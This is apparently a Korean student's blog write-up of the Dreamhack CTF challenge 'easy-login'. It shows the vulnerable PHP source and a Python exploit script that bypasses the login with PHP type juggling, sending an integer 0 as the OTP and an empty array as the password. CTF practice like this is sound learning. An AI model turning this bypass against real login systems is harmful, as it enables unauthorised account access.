본문 바로가기

CTF 문제풀이

easy-login

https://dreamhack.io/wargame/challenges/1213

 

easy-login

Description 관리자로 로그인하여 플래그를 획득하세요! 플래그 형식은 DH{...} 입니다.

dreamhack.io

 

음 로그인 화면에 OTP도 있다. OTP...일단 문제 파일을 다운 받았다.

 

<?php
$flag = "testflag";
?>

flag파일은 딱히 뭐가 없다.

 

<?php

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

$admin_pw = generatePassword(32);
$otp = generateOTP();

function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

?>

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" type="text/css" href="style.css">
    <title>Easy Login</title>
</head>
<body>
    <div class="login-container">
        <h2>Login as admin to get flag<h2>
        <form action="login.php" method="post">
            <div class="form-group">
                <label for="id">ID</label>
                <input type="text" name="id"></br>
            </div>
            <div class="form-group">
                <label for="pw">PW</label>
                <input type="text" name="pw"></br>
            </div>
            <div class="form-group">
                <label for="otp">OTP</label>
                <input type="text" name="otp"></br>
            </div>
            <button type="submit" class="button">Login</button>
        </form>
        <div class="message">
            <?php login(); ?>
        </div>
    </div>
</body>
</html>

index 파일을 열어봤다. 굉장히 길어서 잘라서 해석을 해야겠다.

 

 

 

 

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

$admin_pw = generatePassword(32);
$otp = generateOTP();

해석을...하려고 시도는 했으나 도저히 해석을 할 수가 없어서 다른 분들의 풀이를 참고했다. 

admin_pw를 [0-9a-f]{32}, $otp는 P[0-9]{6}의 형식으로 무작위 생성을 한다고 한다. 

 

 

 

function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

 

login함수 부분을 보자.

POST 요청으로 cred값을 처리해서 로그인을 수행한다.

그리고 $cred 값을 base64로 디코딩하고 이 디코딩한 값을 json디코딩해서 배열로 저장한다.

 

json디코딩이라는 것을 처음 들어봤다.

json decode는 json 형식의 문자열을 읽고 해석해서 원래의 데이터 형식으로 변환하는 과정이라고 한다.

 

 

 

마지막 부분에  $cred 배열의 otp필드와 $otp를 비교한다.. 

 

$otp는 언제나 P로 시작

->정수를 형변환한 값은 언제나 0

=>$cred['otp']에 정수 0을 대입하면 우회 가능

 

 

 

PHP의 strcmp() 함수는 인자로 문자열만을 받지만, 이외 타입의 값이 제공될 경우 의도하지 않은 동작을 일으킨다. 특히, 인자로 배열이 제공될 때 NULL을 반환하게 된다. 

 

 

이제 json 및 base64 인코딩하여 플래그를 획득할 수 있다.

파이썬으로 코드를 작성하면 된다고 한다.

 

import requests  # requests 라이브러리 임포트
import json  # json 라이브러리 임포트
import base64  # base64 인코딩/디코딩을 위한 라이브러리 임포트

url = 'http://host3.dreamhack.games:0000'  # 요청을 보낼 URL 설정
payload = {  # 서버로 보낼 데이터 payload 설정
    "id": "admin",  # 관리자 계정 아이디
    "pw": [],  # 비밀번호를 빈 리스트로 설정
    "otp": 0  # OTP(One Time Password)를 0으로 설정
}
# payload를 JSON 형식으로 인코딩한 후 base64로 다시 인코딩
data = {'cred': base64.b64encode(json.dumps(payload).encode()).decode()}
# POST 요청을 보냄, 데이터는 data 변수에 저장된 값을 사용
resp = requests.post(url, data=data)
print(resp.text)  # 서버로부터의 응답을 출력

 

 

이제 src 파일 밑에 파이썬 파일을 만들고 이 코드를 입력해주면 된다.

 

 

플래그 값이 떴다!

 

 

 

솔직히...다른 분들의 풀이를 봐도 이해하지 못하겠다. 어찌저찌 문제는 풀었지만 이걸 풀었다고 할 수 있을까...

'CTF 문제풀이' 카테고리의 다른 글

web-misconf-1  (0) 2024.05.22
드림핵 🌱 simple-web-request  (0) 2024.05.15
드림핵 pathtraversal  (0) 2024.05.15
드림핵 phpreg  (0) 2024.05.08
드림핵 850번 Flying Chars  (0) 2024.05.01